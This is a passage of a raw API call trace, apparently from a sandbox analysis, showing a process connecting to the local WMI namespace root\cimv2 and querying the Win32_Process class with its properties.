This=0x11d5150, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0069.997] WbemLocator:IUnknown:AddRef (This=0x11d5150) returned 0x3 [0069.997] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5150, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0069.997] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5150, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0069.997] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5150, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0069.997] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0069.997] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0069.997] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5150, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0069.997] WbemLocator:IUnknown:Release (This=0x11d5150) returned 0x2 [0069.997] WbemLocator:IUnknown:Release (This=0x11d5150) returned 0x1 [0069.997] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0069.997] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0069.997] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5150, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11d5150) returned 0x0 [0069.997] WbemLocator:IUnknown:AddRef (This=0x11d5150) returned 0x3 [0069.997] WbemLocator:IUnknown:Release (This=0x11d5150) returned 0x2 [0069.997] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0069.997] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0069.997] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.997] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11d5090) returned 0x0 [0069.997] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11d5090, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf00000) returned 0x0 [0070.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00000, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef20b0) returned 0x0 [0070.046] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef20b0, pProxy=0x1bf00000, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0070.046] WbemLocator:IUnknown:Release (This=0x1bef20b0) returned 0x1 [0070.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00000, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef20f0) returned 0x0 [0070.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00000, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef20b0) returned 0x0 [0070.046] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef20b0, pProxy=0x1bf00000, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0070.046] WbemLocator:IUnknown:Release (This=0x1bef20b0) returned 0x2 [0070.046] WbemLocator:IUnknown:Release (This=0x1bef20f0) returned 0x1 [0070.046] CoTaskMemFree (pv=0x1beed4f0) [0070.046] WbemLocator:IUnknown:AddRef (This=0x1bf00000) returned 0x2 [0070.046] WbemLocator:IUnknown:Release (This=0x11d5090) returned 0x0 [0070.047] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0070.047] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0070.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00000, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef20c0) returned 0x0 [0070.047] WbemLocator:IRpcOptions:Query (in: This=0x1bef20c0, pPrx=0x11d4fd0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0070.047] WbemLocator:IUnknown:Release (This=0x1bef20c0) returned 0x2 [0070.047] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0070.047] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0070.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf00000, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf00000) returned 0x0 [0070.048] WbemLocator:IUnknown:Release (This=0x1bf00000) returned 0x2 [0070.048] SysStringLen (param_1=0x0) returned 0x0 [0070.048] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0070.048] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0070.048] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.048] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0070.049] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0070.049] IWbemServices:GetObject (in: This=0x1bf00000, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef5f40, ppCallResult=0x0) returned 0x0 [0070.052] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0070.052] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0070.053] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0070.053] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0070.053] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0070.053] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0070.053] IUnknown:Release (This=0x111f638) returned 0x1 [0070.055] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11d5090) returned 0x0 [0070.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d5090, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0070.055] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d5090, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119a5e0) returned 0x0 [0070.055] WbemDefPath:IUnknown:Release (This=0x11d5090) returned 0x0 [0070.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119a5e0) returned 0x0 [0070.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0070.056] WbemDefPath:IUnknown:AddRef (This=0x119a5e0) returned 0x3 [0070.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0070.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0070.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11d4f30) returned 0x0 [0070.056] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4f30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.056] WbemDefPath:IUnknown:Release (This=0x11d4f30) returned 0x3 [0070.056] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0070.056] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0070.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0070.056] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x2 [0070.056] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x1 [0070.056] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0070.057] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0070.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a5e0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119a5e0) returned 0x0 [0070.057] WbemDefPath:IUnknown:AddRef (This=0x119a5e0) returned 0x3 [0070.057] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x2 [0070.057] WbemDefPath:IWbemPath:SetText (This=0x119a5e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0070.057] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0070.057] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0070.057] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0070.057] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0070.057] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0070.057] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0070.058] IWbemClassObject:Get (in: This=0x1bef5f40, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0070.058] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0070.058] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0070.058] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.058] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.058] IUnknown:Release (This=0x111f638) returned 0x1 [0070.060] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11d4ef0) returned 0x0 [0070.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4ef0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.060] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4ef0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1eb0) returned 0x0 [0070.060] WbemDefPath:IUnknown:Release (This=0x11d4ef0) returned 0x0 [0070.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1eb0) returned 0x0 [0070.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.060] WbemDefPath:IUnknown:AddRef (This=0x1bea1eb0) returned 0x3 [0070.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11d4e50) returned 0x0 [0070.061] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4e50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.061] WbemDefPath:IUnknown:Release (This=0x11d4e50) returned 0x3 [0070.061] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.061] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.061] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x2 [0070.061] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x1 [0070.061] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.061] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1eb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1eb0) returned 0x0 [0070.061] WbemDefPath:IUnknown:AddRef (This=0x1bea1eb0) returned 0x3 [0070.061] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x2 [0070.061] WbemDefPath:IWbemPath:SetText (This=0x1bea1eb0, uMode=0x4, pszPath="") returned 0x0 [0070.061] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.061] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.061] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.061] IUnknown:Release (This=0x111f638) returned 0x1 [0070.063] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11d4ef0) returned 0x0 [0070.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4ef0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.063] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4ef0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: 